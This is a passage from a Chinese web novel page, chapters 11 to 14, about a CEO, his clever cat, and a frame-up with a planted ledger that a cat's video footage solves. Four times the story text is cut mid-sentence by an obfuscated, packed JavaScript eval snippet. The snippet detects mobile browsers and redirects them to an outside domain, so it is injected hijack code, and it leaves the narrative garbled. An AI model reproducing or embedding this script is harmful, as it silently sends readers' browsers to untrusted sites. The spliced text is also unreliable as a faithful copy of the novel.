l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036187|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顾司沉怀疑是商业间谍在他平板里装了软件，把平板交给技术部分析。平板离开的这段时间里，顾司沉会把手机给吴雪玩。然后有天他发现，他手机里竟然也出现了这个软件。 古贸网络安全团队分析了三天，一无所获，唯一能确定的就是这个软件不会盗取手机信息。但具体是什么，要如何使用，完全不清楚。 可如果没有所图，软件又怎么会凭空出现在他平板电脑里？顾司沉决定放长线钓大鱼。 能接触他手机的人不多，但也不是没有。弟弟顾亭安，秘书处的孟知，家里的管家，都有一定机会和他手机单独相处。 顾司沉信任他们，但既然事情已经发生，他也会保持合理质疑。顾司沉让人秘密调查他们，大家都经过了考验。 顾司沉回到古贸壹号，满室寂静。往常会出来迎接他回家的猫，此刻却不见了踪迹。顾司沉扯松领带，莫名有些心情低落。养猫不过半个月，就已经受不了一个人的冷清了。 出于某种证明自己的原因，顾司沉没有去找乌乌，而是按照养猫前的习惯活动。一个人回家，运动，洗澡，又在睡前去书房处理工作。 乌乌背对他坐在平板电脑前，正对着屏幕里的猫说话。而屏幕界面显示的不是短视频，是视频通话。 顾司沉看了五秒，退出来把门关了。 他一定是没睡醒出现了幻觉，不然怎么会看见乌乌和别的猫打视频？ 顾司沉站在门外深深呼吸，数秒后重新推门而入，乌乌还是维持着之前的姿势，平板上播放着普通的猫咪短视频，赫然是他刚才看到的通话界面。 难道是他看错了？又把猫带入人的行为模式，这才误以为乌乌和别的猫打视频？ 顾司沉过去摸了摸猫头，轻声问：“乌乌，你在看什么？” 视频已经播完跳到下一个，但乌乌猫爪又往下一滑，又把它刚才看过的视频给顾司沉找出来。 短视频高分贝声音响起：“妈妈经常问我，你不结婚不生娃老了谁来照顾你？请看——” 视频中一个老人躺在床上，一只猫在他旁边洗衣做饭喂药，人模人样，后面还有猫给人送便当，开着摩托车接人下班的剧情。 吴雪看得非常起劲儿，没想到世界上还有和他一样厉害猫咪！是他低估人类世界的本土猫咪了！ 他仰头对顾司沉说：“人，咪也会这样照顾你。” 顾司沉听不懂猫在说什么，但从乌乌亮晶晶的眼睛里就能看出对方的憧憬，他拿走平板，解释道：“这是AI猫，现实中的猫不会做这种事情。” “喵！”小猫却对他这番说辞非常不满，突然跳下桌子，哒哒哒朝外面跑去。 顾司沉追过去一看，看见乌乌把他的衣服叼进洗漱池，打开水龙头，用踩奶的动作清洗。 顾司沉：“……” 小猫洗衣服，把他几万块的衣服洗烂。 小猫炒菜，跳到灶台上打翻了锅。 小猫骑车，爬到顾司沉头顶揪住他头发嘟嘟嘟。 顾司沉：“……” 11. 第 11 章 究竟在攀比什么？ 顾司沉扶额，在乌乌造成更大的混乱前，一把将小猫从自己头上捞下，哄骗道：“我知道了，我都知道了，乌乌会做这些事情是不是？” 吴雪举着湿漉漉的爪子，表情骄傲：“喵喵！” 可很快，小猫又嫌弃自己被弄湿的爪子，举着湿哒哒的双手对顾司沉说：“人，给猫擦干净。” 顾司沉：“……” 虽然听不懂，但他莫名懂了乌乌的要求。 顾司沉抽出纸巾给猫擦手，又说：“还说要照顾我，还不是要我来收拾残局。” “喵！！”猫一个翻身又要证明自己。 “好好好，是我错了，”顾司沉哪儿敢让猫继续作妖，立刻改口道，“乌乌很厉害，我刚才说错话了，对不起。” “喵~”猫终于满意，安静地趴在顾司沉腿上，恢复了温顺乖巧的样子。 哪里是只猫，根本就和人一模一样。 顾司沉之前没养过猫，但也隐约能意识到，乌乌比大多数猫都要聪明。 顾司沉不放心让乌乌独自呆着，去公司基本都会带着猫，就算偶尔离开家，也会让管家和阿姨上门照看。顾亭安也会偷偷上来看猫，因为没有引发过敏，顾司沉都假装不知道。 为了杜绝乌乌沉迷网络，顾司沉改了ipad的密码，但又怕乌乌自己待在办公室无聊，延长了一小时的上网时间，这2个小时均匀分布在公司和家里。一去公司就又能上网，这导致乌乌每天上班比主人还要积极。 不看视频的时间里，乌乌就满屋子乱窜，雄赳赳地巡视脚下的每一片领地。巡视完总裁办它还不满足，还想跑到外面的开放办公室。顾司沉不让猫出去，甚至每次叫李小桃进来都要让人家保密。 李小桃不敢在网上晒猫，只能偷偷和闺蜜分享：呜呜呜，今天又来带猫了，乌乌好可爱！想偷回家！！ 她还偷偷带小鱼干贿赂小猫，趁着老板不在偷偷喂猫，然后问：“乌乌，你想不想和我回家啊？” “哎呀，原来你想啊！我就知道你想，可惜大老板对你强制爱呜呜呜！拆散了我们这对苦命的鸳鸯！但是没关系，我已经重生归来，这一次，我一定带你逃离苦海。” 李小桃把小鱼干递到乌乌面前，说：“我们以小鱼干为誓，你如果同意就拿走小鱼干！” “喵。”小猫迫不及待地咬住小鱼干。 李小桃：“好耶！” “咳咳。”身后传来一道声音。 李小桃身体一僵，猛地回头。孟知总助一脸无语地看着他，总助身旁，顾总整张脸都黑了。 李小桃：“……” “对不起对不起对不起！”卑微打工人迅速滑跪，“我没有要离间你们感情的意思，就是乌乌太可爱了，我一时间没忍住……” 孟知：“还不出去？” 李小桃拔腿就跑。 “等等。”大老板突然发话。 李小桃硬生生止住脚步，身体紧绷：“顾总，您还有什么吩咐？” “不要私自喂猫吃零食。” 顾司沉说完，遣散了办公室所有外人。然后他走到正在舔毛的乌乌旁，伸出二指点了点小猫脑袋，恨铁不成钢：“一条小鱼干就能把你骗走？你的骨气呢？” 小猫谄媚：“喵~” 顾司沉：“……” 顾司沉，你也没什么骨气。 乌乌很快适应了公司的生活，俨然已经把总裁办当成了他半个家。作为不让乌乌去办公室外的补偿，顾司沉从不干涉乌乌在房间里的行为。 直到几天后，办公室的灯突然闪了几下，然后熄灭了。整个总裁办都停了电，安保系统全部失灵。好在事发时正是白天，顾司沉立刻找人维修，没有造成损失。 工程部的人很快提着维修箱进来，检查出了一根被咬烂的电线，推测因此才造成了小范围停电。 “不是吧？公司里有老鼠？从来没听过啊。” “怪不得我牛肉干也不见了！肯定是被老鼠偷吃了！” “老鼠又打不开抽屉，我看是被嘴馋的人吃了吧？” “得让后勤部的人安排消杀了。” 门外，秘书们小声地讨论着。 门内李小桃战战兢兢，很心虚地解释：“我一直看着乌乌，没看见它咬电线啊。” 顾司沉突然问：“猫呢？” 从停电前顾司沉就没有看见乌乌，直到重新恢复供电，检修的人和秘书都离开，顾司沉关上大门，在办公室里找了一圈，终于在卧室天花板夹角里发现了乌乌。 奶牛猫四肢牢牢抓着天花板，后背贴着墙壁，像是一只毛茸茸的大蜘蛛。 顾司沉看得好气又好笑，他冲小猫伸手：“下来，我不骂你。” 乌乌还是很警惕，顾司沉哄了一分多钟，才终于抓着墙壁下来了。 “乌乌好厉害，”顾司沉一把接住小猫，夸奖，“这么高的墙壁也能爬上去。” 仿佛没想到还能被夸，小猫睁大眼睛安静地看了一会儿，开始舔顾司沉手指。舔完手指还不算，乌乌又在顾司沉身上蹭来蹭去，恨不得把自己的味道沾满顾司沉的身体。以为是小猫怕生，为了安慰猫猫，顾司沉又允许他多看了一个小时的视频。 看着看视频都要趴在他旁边的乌乌，顾司沉苦恼不已，给弟弟顾亭安发消息：猫太粘人了怎么办？ 过了一会儿他才想起什么，又撤回，把消息发给好友费钧。 费均：建议送来我家。 顾亭安：……哥，我都看见了。 不知是不是白天被猫粘了太久，晚上顾司沉做了一个梦。 他梦见自己身上睡了只猫，但却不是乌乌。那乌乌去哪里了？ 顾司沉开门一看，发现客厅里全是奶牛猫，不止有大猫，扒开躺着的大猫下面还爬出一窝小猫，全都围着他喵喵叫。 乌乌在一旁哭得泪眼汪汪，顾司沉问它怎么哭了，乌乌用人话回答，说主人不要它了呜呜呜。顾司沉抱起乌乌一边哄一边说怎么可能呢，哪怕全世界的猫摆在我面前，我都最喜欢你。 乌乌感动得又哭了，暖呼呼的小脑袋靠着他胸膛说：我也最喜欢主人了！ 顾司沉醒来，看着卧室半开的门缝，还有冷冰冰的床铺。客厅里空空荡荡，别提别的奶牛猫，连他养的那只都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036188|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到。 他好不容易才在沙发角落里找到乌乌，猫软绵绵地躺在角落里，不管他怎么喊都没有反应。 顾司沉喊了叫几声，又伸手去碰猫咪，猫终于掀起眼皮看了他一眼，依旧不怎么搭理人，但喂的水和食物都吃了。 顾司沉有些不放心，询问医生情况，医生说猫可能是被昨天的陌生人吓到，有些应激。 顾司沉犹豫了一会儿，蹲下.身对小猫说：“我去公司了，不然你今天留在家里？” 猫却摇头，主动爬进了猫包里。 顾司沉摸了摸小猫脑袋，无奈道：“你怎么这么粘人啊？” 如果说之前还是炫耀，那现在他是真有些心疼了。 顾司沉还是有些不放心，和宠物医生约了时间，打算下午带猫去检查一下，顺便给乌乌打第二针疫苗。 上午十点，他开完高管晨会和战略会议，回到办公室给乌乌喂了一条小鱼干。小鱼干倒是吃了，但乌乌依旧没什么精神。 就在这时，孟知突然闯进来，严肃道：“老板，税务局和纪委的人在楼下，同行的还有几位刑警。大约2分钟后就会到达总裁办，您要不要先避一避？” 税务局？纪委和刑警？ 顾司沉抽了张纸巾擦手，又伸手拦扒袋子的小猫，这才说：“不用，让他们上来。” 孟知愣了下，这才明白老板应该是从别处途径得到消息，已经做好了应对方法。 他点头说好，低头吩咐耳麦那头的人别拦了。 顾司沉把猫关进卧室，下一刻办公室大门被人推开，走在最前面的是一个寸头青年，证件在一晃而过，语气强硬地让他配合调查。 顾司沉：“孟知，上茶。” “不用，”寸头男人神情冷峻，径直道，“古贸集团董事长、兼总裁顾司沉，有人举报你偷税漏税，贿赂官员，请配合我们接受调查。” 顾司沉没有拒绝，但也没有点头。 他今年还不到三十岁，作为千亿集团的总裁，确实年轻得有些过分了。 但当他一双眼睛看过来，周身散发出强大而内敛的气场，早已超过了许多阅历丰富的企业家。被这种气势震慑，现场十几号人都陷入了诡异的沉默，仿佛要等顾司沉开口同意，他们才能继续进行调查。 寸头青年忍不下去，把搜查证拍到桌上说：“还愣着干什么？直接搜。” 按照流程他们确实可以行动，可顾司沉没有开口，执行人员面面相觑，一时间竟不敢上前。 气氛凝重到了极点。 就在这时，旁边一个圆脸中年男人走了出来，打了圆场：“顾总，我知道这件事可能是误会，但规定在这里，还请您配合我们走一下程序，真的麻烦了。” 顾司沉这才开口：“请便。” 总裁办公室被翻了个底朝天，甚至连休息室都没有被放过。当有人带着执法仪闯入卧室时，波澜不惊的顾司沉终于变了脸色。 大家瞬间打起了精神，还以为能挖出什么有用的东西。 却见顾司沉从角落里抱出一团毛茸茸，温声道：“小心点儿，别吓到我的猫。” 众人：“……” 12. 第 12 章 经过一个多小时的搜查，工作人员终于从书柜里找到一本皱巴巴的账本。账本上面记录了顾司沉的各项隐秘支出，以及和各大官员的人情往来。 顾司沉：“这不是我的东西。” “是不是我们自会调查，”寸头青年严肃道，“但现在请你跟我们走一趟。” 顾司沉不为所动，说：“你们随便派个人去查，就知道这份名单的真假。” 寸头青年：“有问题我们自会查明，但现在我们已经接到举报，配合调查是每个公民的义务。” 顾司沉没再说话，他拨通电话说明情况，随后打开免提，把手机放在桌上。 寸头疑惑地看了眼手机，里传出一道熟悉的声音：“你是哪个单位的？” 寸头梗着脖子问：“你是哪个单位的？” “……”那边出现了诡异的沉默。 刚才打圆场的圆脸中年一把挤到前面，急忙道：“孟书记，我们是xx和xx单位的……今早接到了针对顾总的举报消息，还批了搜查证，所以才过来调查。” 寸头则是直接道：“我们找到了疑似证据的名单，要带顾司沉回去调查。” 电话那头安静了几秒，和颜悦色道：“小段是吧？我知道各家单位都有自己的工作准则，但人家顾总是市值上万亿的总裁，你什么证据都没有，随随便便就要带人回去调查，不太适合吧？” “每一个公民都有配合调查的义务，”段毅反驳道，“如果他真没问题，我们会在24小时内放人离开。” “可你有没有想过，顾司沉是上市公司的总裁，就算只是出入警察局，你觉得那些营销号会放过他吗？古贸集团集团市值超万亿，哪怕0.1%的股价波动，都要造成巨额损失。我就问你，如果到时候查出来人家没问题，造成的这些损失该由谁来赔？” “……” 段毅显然没想到这层，沉默了下台。 “小段啊，你有拼劲儿是好事，我也不是让你们直接回来，该查的你们接着查，我绝不干涉。但方法上能不能再灵活些呢？多动动脑子，别被人当枪使了。” 段毅脸色变了又变，最后点头道：“我知道了，孟书记。” 那边呵呵一笑，又说：“顾总，年轻人一腔热血，办事没经验，请您多担一些。” 顾司沉抚摸着乌乌的毛发，语气平静道：“客气了，配合警方调查是公民的义务。” 电话挂断，办公室一时间静得出奇。 过了大概一分钟，段毅才又说：“虽然你请来孟书记给你当说客，但该查的还是要查。” 顾司沉：“正好我也要报案，各位一起查了吧。” 段毅皱眉：“具体什么情况？” 顾司沉：“昨晚我办公室遭到入侵，今天你们过来就发现了账本。” 段毅拧着眉头，没有说话，又传来昨晚值班的保安和安全总管问话。 “确实是真的，”安全总管说，“昨天下午总裁办公室停电过一次，刚修好没想到晚上又停电了，安保系统大概有10分钟的时间没有工作。” 段毅：“你是说那段时间内有人出入，把账本放到了办公室？” 安全总管看了顾司沉一眼，没有回答。 “你看他做什么？”段毅挡住视线，说，“我问的是你，如实交代。” 顾司沉：“听段警官的。” 安全总管这才说：“因为电路损坏，断电的只有总裁办公室，外面监控都还在工作。事发后我们检查总裁办周围的监控，发现那段时间没人出入。” 说完后安全总管朝顾司沉深深一鞠躬，解释道：“当时我们没有发现异常，所以才没有及时禀报，请顾总原谅。” 顾司沉没有说话，段毅皱眉问：“既然没人出入，那这个账本怎么来的？” 顾司沉：“段警官不妨从举报人入手。” 这个提议方向是对的，如果是真有此事，那他们总能查出来。如果真是栽赃，那栽赃的人必有所图，举报的人就显得很可疑了。 可明知顾司沉贿赂是假，还是有人信誓旦旦地举报，图什么呢？难道就是赌他们会把顾司沉带走调查，然后操纵舆论引起古贸集团的股价波动？如果是商业竞争，那或许还有更隐晦的目的。 段毅说：“我可以不动你，但在事情查清楚以前，你必须留在公司接受调查。” 顾司沉：“我下午有事。” 段毅：“改时间。” 顾司沉看了眼精神不佳的乌乌，说：“不能改。” 段毅又要发作，但被圆脸男人拦下了，不知他们说了什么，段毅没再坚持。 一部分人离开了，剩下的人找了间会议室办公，开始着手调查。 总裁办公室里没有监控，可大门和安全通道的监控显示，安保下线的那十分钟里，两个出入口都没有人出入。就算真有人栽赃陷害，也不可能凭空出现吧？ 段毅还是怀疑顾司沉，可技术人员做了分析，账本上没有顾司沉的指纹，笔迹也不是他的。至于名单上涉及的那些官员……他们不敢公然查探，但段毅不怕，他直接去问了自己信任的局长，果不其然被狠狠训了一顿。 “这还是个密室案件，”同行人员摸了摸下巴，说，“看来得召唤柯南了。” “柯北来了也没用！”段毅把资料摔在桌上，狠狠道，“我就不信我查不出来。” 关键还是在这个账本，如果顾司沉是被栽赃，那弄清楚账本的来历就一清二楚了。 段毅让技术人员继续查，很快有了新的消息，技术人员说账本上有一种叫做“溶菌酶”的物质。 “溶菌酶？这是什么？” “是一种有杀菌、消毒、抗感染作用的物质，主要存在于哺乳动物的唾液、泪液、尿液等□□中。” 段毅不理解：“你是说有人咬过这个账本？或者哭过尿过？” “不止是人，”技术人员说，“哺乳动物□□里都有，还有蛋清中含量也很高。” 所以也有可能是有人把蛋清洒在上面了？都什么乱七八糟的，段毅皱眉，又问：“还有没有什么发现？” “我再查查看。” 段毅挂断电话，推测各种潜在的可能性。 “喵～！” 突然间，他小腿多了一股毛茸茸的触感，段毅低头一看，竟是顾司沉那只小猫过来找他了。 再暴躁的人，对着小猫也生不起气来。段毅想伸手摸一摸，但想到这是顾司沉的猫又忍了下来，抬手赶猫离开。 可猫却一直缠着他喵喵叫，非常影响他查案！ 段毅摆手，暴躁道：“快让人过来弄走这只猫！” 顾司沉：“乌乌，过来。” 吴雪：“喵喵喵！！！” 吴雪跟着顾司沉回去了，又用小爪子扒拉着一旁的平板电脑。 “要看视频？” “喵！” 顾司沉点亮屏幕，没电了，他给平板连上充电线，给乌乌播放昨天没看完的动画片。 往常乌乌都看得很认真，可今天却频频开小差，还用爪子扒他胳膊。 担心乌乌不舒服，顾司沉从工作中抬头：“怎么了？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036189|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喵喵！！” 猫爪划开相册，调出了一个视频。 五分钟后，调查小组出现在顾司沉办公室，难以置信地看着屏幕里的画面。 视频长度接近八小时，中间有很长一段空镜头，直到顾司沉把进度条拖到最后半小时，夜灯突然熄了。 没过多久，一只缅因猫从窗户里爬了进来，它戴着墨镜，嘴里叼着一个本子，就这样大摇大摆地进了办公室。更奇怪的是它似乎还打量了一遍办公室，最后咬出一本书，把东西塞在了背后，又把书重新塞了进去。做完这一切后，猫在安保人员抵达前从窗户爬了出去。 视频看完，众人陷入了诡异的沉默。 不知过了多久，段毅终于找回了理智，难以置信：“所以是这只猫把账本带进来的？” 同事：“看起来好像是。” 段毅眉头皱得能夹死一只蚊子：“猫怎么能做到这种事？” 可他又想起了技术人员的分析，说账本表面有溶菌酶，哺乳动物……猫也是哺乳动物，咬着账本进来，在账本上沾着口水也正常了。 “如果是真的，那这猫也太厉害了，”同事一遍遍回放视频，感叹道，“能从那么高的外墙上爬上来，甚至还戴了墨镜，一副威风凛凛的样子，该说不说，看起来还挺帅的。” “喵！”奶牛猫不服气地拍了下桌子。 他也很厉害好不好！黑猫警长，捉拿坏猫！ 一只小猫，表情怎么能这么活灵活现？那人看懂了小奶牛的不满，又夸它：“好好好，你也很可爱。” 吴雪还是很不开心，怒气冲冲地瞪着人。他才不可爱，他明明是帅气！！ 哎哟喂，奶牛猫这小表情怎么能这么灵，女人想伸手摸一把，刚抬起手，顾司沉已经把猫抱了回去，低声告诫：“乌乌，乖。” “啊哈哈哈哈……”女人尴尬抬起手，摸了把自己并不存在的耳边碎发。 顾司沉嘴上说是让猫乖，谁不知道是在警告人不要乱摸？这下可算是见识到传说中霸道总裁的占有欲了。 段毅还在调查案件的玄机。 虽然这个视频出现得很及时，但怎么会这么巧呢？犯罪嫌疑人……嫌疑猫恰好就被平板拍下来了？ 段毅拧着眉头，问顾司沉：“视频哪儿来的？” 顾司沉：“昨天我录视频忘记关，恰好录了下来。” 答案很合理，但段毅总觉得有哪里不对劲。 如果真有人想要栽赃顾司沉，甚至不惜断掉了公司的电源、网络，监控摄像头，却偏偏被放在旁边的平板拍了视频？有这么巧的事情吗？如果是真的那也太倒霉了吧！ 而且让一只猫运送账本就很奇怪了，偏偏又被平板电脑录下了作案过程。这整件事都太抽象了，抽象得几乎离奇。 段毅怀疑顾司沉自导自演，拧着眉问：“你为什么会用平板录办公室的视频？” 顾司沉：“录猫。” 段毅：“录猫用手机更方便吧？而且就算你真喜欢用平板录，猫到处跑，你会把平板放到架子上？” 顾司沉看了眼猫，突然沉默了。 段毅觉得自己找到了破绽，继续追问：“还有什么解释吗？” “抱歉，我刚才没说实话，”顾司沉说，“不是我录的视频，是我家猫录的。” 段毅：？？？ “猫会录视频？” 顾司沉：“猫都能把账本放到办公室栽赃我。” 段毅：“……” 猫栽赃嫁祸，猫录视频反击，又不是演黑猫警长！哪里会有这么离奇的事情！ 13. 第 13 章 “不会是AI视频吧？”段毅皱眉道，“我要让技术人员分析一下。” “随意，”顾司沉把视频发过去，提醒他，“2小时后我会送乌乌去宠物医院，希望你们能在这之前得出结论。” 段毅正要反驳，顾司沉却已经和接入线上会议，继续工作了。 段毅：“……” 技术人员在分析视频，期间调查人员也没有闲着，根据缅因猫出现的窗户往外排查，最后顺藤摸瓜，竟然在离办公室下两层楼的安全通道里，发现一个穿工程服的男人和缅因猫先后进出过，间隔时间不超过十分钟。 “这个人有问题，”段毅指着监控说，“他是你们公司的人？” 安管总管一看，惊了惊：“这个制服是电力工程人员，我马上调资料给你！” 涉事男人名叫姚涛，48岁，古贸集团电力工程人员，和前妻在8年前离异，有一个20岁的女儿，但目前几乎没有联系。根据工作日志显示，他昨天来总裁办检修过电路设施。 安全总管恍然大悟：“说不定就是昨天来踩点，竟然还说电线是老鼠咬断的。” 顾司沉看了眼乌乌，原来是他怪罪小猫了？其实是那只缅因猫咬坏了电线？ 旁边还有人，顾司沉不好多说什么，伸手挠了挠猫咪下巴，以表歉意。 乌乌哼了一声，并不买账。 猫猫生气了，要十根小鱼干才能原谅人！！ 顾司沉非常上道，拆开小鱼干贿赂猫。 乌乌很快就吃完了一根，顾司沉却很恶劣地不给它第二根了，小猫只得站在人膝盖上，站起身体用手扒拉。 顾司沉：“叫一声。” 乌乌：“喵。” 顾司沉：“叫两声。” 乌乌：“喵！！” 它直接给了人一爪子。 顾司沉被揍，终于听话给了第二根小鱼干。 段毅忙得焦头烂额，抬头一看，发现顾司沉正在逗猫。 “……” 哥紧张点儿行吗？你可还没有彻底洗脱嫌疑。 段毅腹诽，带人去抓捕缺勤的姚涛。 至于顾司沉，和宠物医生约定的时间到了，他带着乌乌去了宠物医院。 除了打疫苗，顾司沉还给乌乌做了一个体检。等待体检的过程中，顾司沉收到了段毅传来的消息。 姚涛在自己家里被抓捕，对一系列事情供认不讳。举报信是他写的，也是他训练猫把账本放到了顾司沉办公室，他家里还有一只黑银虎斑缅因猫，疑似视频中的作案猫。 至于作案动机，姚涛自称他是姚平的亲戚，靠着姚平的介绍才得到这份工作。姚平入狱后他对顾司沉心生不满，又在前不久被检查出了肺癌四期，想着反正都活不久了，不如干票大的，所以策划了一系列报复行为。 “我知道这件事没那么容易，只要能让顾司沉进局子里呆一呆，影响股价就足够了。只是没想到姓顾的面子这么大，连你们都要受他摆布。”电话那头传来姚涛的叫喊声，“你们尽管抓我，反正我也活不久了！看谁怕谁！” 段毅拿过手机，说：“大概就是这样了。” 顾司沉：“辛苦了，谢谢段警官。” 好端端的怎么突然这么客气？ 段毅惊出一身鸡皮疙瘩，连忙道：“没事儿我挂了。” 顾司沉：“等等。” 段毅：“什么事？” 顾司沉：“我想请你们摘掉涉事案件中的这两只猫，只写姚涛昨天来我办公室检修，趁机把账本放进我书房，伺机栽赃。” 段毅：“为什么？” 顾司沉：“难道你想在警情通报中写一只猫犯了罪，然后另一只猫抓到了犯罪嫌疑猫？别说网友，连你们局长都不信。” 段毅：“……” “我考虑一下再答复你。” 最终段毅还是同意了顾司沉的提议，按下了所有和猫有关的消息，只对外宣称姚涛一人做了这件事。 至于那只犯罪嫌疑猫…… 据说是姚涛在一月前从宠物店购入，经过训练后以猫实施犯罪行为。 这可是实打实的犯罪猫，肯定不能再放虎归山，但如何处理却是大问题。只能先把猫带回警局，向上级请示。 他们还记得视频里缅因猫英姿飒爽的样子，进门时一个个都警惕心十足，怕被猫袭击。没想到一进屋猫就蹭他们小腿，一点儿也不怕生地喵喵喵，十足的温柔巨人。 忍了又忍，最后还是没忍住，一个年轻的警察伸手摸了下缅因猫脑袋：“缅因猫长得这么帅气，结果竟然是个夹子音。” “这玩意儿真能犯罪？” “阿杰，你之前不是在警犬大队呆过？有听说过训猫的吗？” “训练猫？别做梦了，猫这种自以为是的生物，怎么可能听人的指令？都是人听猫的口令。” “那这只猫怎么能爬两层楼把账本塞进顾司沉办公室里？” 大家面面相觑，看向当事猫。 缅因猫不懂，缅因猫继续喵喵喵。 这猫太傻了，实在不像是能犯罪的样子，但留在外面又怕助纣为虐。大家一时半会儿也拿不定主意，问段毅：“段队，你觉得该怎么处理？” 有人建议：“放办公室当吉祥物？” “我看你才是办公室的吉祥物，”段毅听着这超绝夹子音，拍板道，“丢给警犬大队调.教。” 顾司沉对于这个处理没有异议，姚涛已经伏法，他不可能真拿一只猫出气。 “顾先生，”宠物医院，小奇医生推门走了出来，“乌乌体检结束了，您可以进来了。” 顾司沉起身：“乌乌有没有问题？” “指标还算正常，”医生摘下口罩说，“具体情况来我办公室说吧。” 三周过去，乌乌体重涨了956g，各项指标都很正常，医生直夸顾司沉养得很好。 顾司沉皱眉：“可它最近没什么精神。” 医生问：“具体有什么表现？” 顾司沉想了想，说：“今天早上我在沙发上发现了乌乌，它身体突然特别虚弱，我怎么叫都没反应。” 说完，他还拿出当时的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036190|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频佐证。 小猫软绵绵地躺在沙发上，不管人怎么弄都没反应。直到实在被人弄烦了，终于起来走开了。 医生看完沉默数秒，说：“那是猫信任你，所以在你面前睡死了。” 顾司沉：“……” 睡死了？顾司沉还记得自己当时紧张的心情，乌乌身体变得软绵绵，不管他如何叫喊都没有反应。他从未见过小猫那么脆弱的样子，以为乌乌生病，没想到竟然是睡死了？ 顾司沉皱眉：“不说睡觉中的猫咪都很警惕吗？” 保护欲过分旺盛的家长，猫没问题，可能主人的问题更大。 “也分情况嘛，”医生说，“警惕是因为野外的猫要求生，可它在你家察觉到环境安全，自然就放下了警戒。” 和顾司沉解释完毕，医生又让护士按住猫，给乌乌打第二针疫苗。 乌乌刚才体检就被折腾了一遍，现在又被人按在台面上，动都动不了，看起来可怜极了。 顾司沉伸手摸它脑袋，心疼又自责，语气温柔地安抚：“乌乌别怕，医生给你打针，很快就好了。” “哎，你手别伸过去，要被咬……”医生连忙开口提醒。 他话还没说完，猫已经一口咬上了顾司沉食指。 嘶—— 医生和护士都忍不住倒抽一口气，回忆起了自己被猫抓咬时的惨痛经历。 别看小猫看起来奶呼呼的，但咬起人来还是有些疼，在宠物医院工作，几乎人人都有过这种受伤的经历。 受到攻击后反击是人的本能，大家都担心顾司沉有什么应激反应，却不料后者眼睛也不眨，语气平静地吩咐：“该打针了。” 宠物医生：“……” 打针时，小猫身体激烈地抽搐着，嘴里发出阵阵呜咽。可哪怕如此，顾司沉都没有撤回手，反而语气温柔地说：“别怕，宝宝乖，很快就好了。” 打完针，医生护士松开猫咪，顾司沉甚至顾不及自己的伤口，就把猫抱在怀里，细细安抚。 众人：“……” 见过宠猫的，但也没见过这么无脑宠的。有钱又无脑，看起来像是会被猫猫养老保健品骗钱的样子。 医生觉得家长太过溺爱，会教出习惯很差的猫咪。从某种程度上来说，养猫和养小孩儿也差不多，宠物身上的一些坏习惯，需要家长狠下心来才能改正。可当他定睛一看，却发现顾司沉食指上只有两个牙印，刚才猫咬得那么狠，但竟然一点儿也没有见血，就仿佛猫咪在有意克制自己。 医生睁大眼睛，几乎有些不敢相信自己看见的一切。可事实就是如此，看起来脾气很差的猫咪，原来也在好好地对待着主人。 打完针，顾司沉带着乌乌离开医院。乌乌乖得甚至不用航空箱，顾司沉单手抱在怀里就走了。 看着一人一猫离开的背影，护士忍不住感叹：“顾先生有钱又细心，还对猫这么好，乌乌真幸运，遇到了顾总这样一个好家长。” 医生回想起顾司沉的一些传闻，以及顾司沉养猫后明显的态度转变，摇头说：“或许，是人比较幸运。” 14. 第 14 章 用平板拍视频被顾司沉发现后，吴雪变得消停了许多，因为担心被顾司沉发现，不敢经常和那边联系了。 可他有很多话要说，偏偏人又听不懂。经常是吴雪叽里咕噜说一大堆，顾司沉只知道摸他，亲他。 又过了几天，吴雪觉得顾司沉应该把这件事忘了，于是又变得大胆起来，开始偷偷摸摸和那边视频。 “崽啊，你一直和我们聊天，不怕人发现吗？”屏幕里，一只白色长毛猫说。她有着一双迷人的蓝眼，纯白的毛发在阳光下微微卷曲，散发着绸缎一般的光泽。 “不会，”吴雪说，“我的人很笨的，这么多天他都没发现。” 白色长毛猫：“可我怎么看他已经过来了？” 吴雪偷撇一眼，依旧淡定：“过来也没关系，人根本分不清我是在看视频还是打视频。” 下一刻，顾司沉声音沉沉响起：“乌乌，你在打视频？” 此话一出，小猫整个身体都僵硬了。白色长毛猫叹了口气，挂断视频。崽啊，人类可是很狡猾的，你这次好好儿长长记性吧。 吴雪呆滞了好几秒终于回神，低下头装模作样地玩自己尾巴，仿佛什么都没有发生的样子。 顾司沉在他旁边坐下，却没有继续追问，而是换了个话题说：“还好那天你拍视频帮我抓住了坏蛋，不然我都不知道该怎么办了。” 吴雪最喜欢被夸奖了，迅速挺起胸膛喵了一声。 